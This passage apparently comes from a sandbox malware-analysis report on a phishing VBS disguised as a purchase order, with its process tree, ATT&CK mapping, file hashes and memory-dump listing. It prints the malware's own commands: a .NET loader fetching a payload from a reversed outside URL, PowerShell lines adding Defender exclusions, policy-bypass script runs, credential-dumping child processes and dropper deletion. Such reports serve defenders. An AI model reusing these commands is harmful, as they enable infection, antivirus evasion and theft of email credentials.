$acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4768
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"
      4⤵
      PID:4268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\hvsul.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:408
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        5⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3372
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\bgwtxafjshgktplnkrfxlervxhiy"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3264
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\dacmysplgpypvvzzbcsrorlefwrhwxe"
        6⤵
        
        PID:2144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\dacmysplgpypvvzzbcsrorlefwrhwxe"
        6⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4200
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\ncpezlaetxqufkvdknfszwgvocjqpivhci"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
      4⤵
      PID:4976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
104B

MD5
d8170d3897a907539e7d1ab62bd333b0

SHA1
8c1ffb8205f4230a076cbf1da2721a4c9ae96fad

SHA256
760ddff90077121afd1be86d9e4fcb0cf5e0ad18aa0c0529c7a0aab3ccf567ca

SHA512
fafa9d9b86b91f83fd8905cb309e9c5e1773610ba8342e5ae6e315c90a4c00999352ac48eb31177a986f354174440efc7aceb4411ba468187241d28975eb0101

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
03e97ce919482e7556f80bccd00508cb

SHA1
78c368caec4273a86270c8fde0868b0eb2549c4b

SHA256
edea753156d84d79b72052b73500185fd2d9fad278ad197d560e3c91d6cb2bd2

SHA512
43be02ad642fe20f074ccd04e329dbdc1284e71d55318506a3f20d8cfb022b9c098d25f91955164a7223ce8ba402e07924a16f7ea7fb3e005fd45a0651356837

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
393b0dd912015db6b9f455c13c931b61

SHA1
423466b784b87d0924a441df0b201be898972d5f

SHA256
a36a9813bf3b96ead474179b0a07fd96e13abc1920eb0a4828eca5fc34a27d12

SHA512
b96f994b5a40b1e618886813cb5e2486ec0237de7d892ca10dbf7f441733b5161b30343de96e5b6df783373e02f14e41db5a5e63bed0aaaf907d1fb115041e0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mqhgxbxs.xrv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bgwtxafjshgktplnkrfxlervxhiy

Filesize
4KB

MD5
05d209dc2e52f4877b0210319d699d7c

SHA1
f80b9ea3164019831fa0b5cffc864c0d496a002b

SHA256
278f3fd9076c23dc3d397375c5f586aa23b15c9e42b22139748e20f70f127160

SHA512
701f72884bf941ec3e60f6f8bb98c26743447c276de2d15ca27a406ccc6a39dafeef9a6f83264d52ebb93923af738fa7b16f617fb33dc54e5a7ed93b188aee9a

Download Submit
C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\hvsul.ps1

Filesize
1.9MB

MD5
0237ba69eb2c0b7b8c14b944916b2cc5

SHA1
41240687ffd536e7d48566a239525a01c49cb503

SHA256
fd53231d8bdcec87d717d4f63fb32eeac567cd76122191b28121414a8ba46e80

SHA512
6a30c2b5d666aed01e2653bc11cdd074a6b08e829e46dfdbea38611e5696ae6c2475ec22075d2db3d513b88bb907050d7f98baaebd7eb74fad8556fbb55438bb

Download Submit
C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1

Filesize
393B

MD5
63ee27dcc2e698bee10e41eefcf0456c

SHA1
de5030ed8002749b81be656264e68c0d6684ddf8

SHA256
5dcb9e7fd4233b5241b9572482cb22ddc6cd2df9d7ece556832d348f882e8fb4

SHA512
be92912ef34cd5a6da03a3c3fd8db44ab535ba7b910946c48c90ab0f582ee18f1eef047bfd81fe0b75cbc26fbd6f1644c1d13c3cba4eb43955ebac47560f277e

Download Submit
memory/408-80-0x0000021A6D880000-0x0000021A6D894000-memory.dmp

Filesize
80KB

Download
memory/3264-99-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3264-97-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3264-102-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3372-114-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3372-125-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-126-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-124-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-120-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3372-115-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3372-111-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3656-24-0x0000022B4A3B0000-0x0000022B4A3BA000-memory.dmp

Filesize
40KB

Download
memory/4200-101-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4200-98-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4200-103-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4716-68-0x00007FFFC1320000-0x00007FFFC1DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4716-0-0x00007FFFC1323000-0x00007FFFC1325000-memory.dmp

Filesize
8KB

Download
memory/4716-6-0x0000024C7A7D0000-0x0000024C7A7F2000-memory.dmp

Filesize
136KB

Download
memory/4716-23-0x00007FFFC1320000-0x00007FFFC1DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4716-22-0x00007FFFC1323000-0x00007FFFC1325000-memory.dmp

Filesize
8KB

Download
memory/4716-11-0x00007FFFC1320000-0x00007FFFC1DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4716-12-0x00007FFFC1320000-0x00007FFFC1DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-100-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4856-104-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4856-105-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download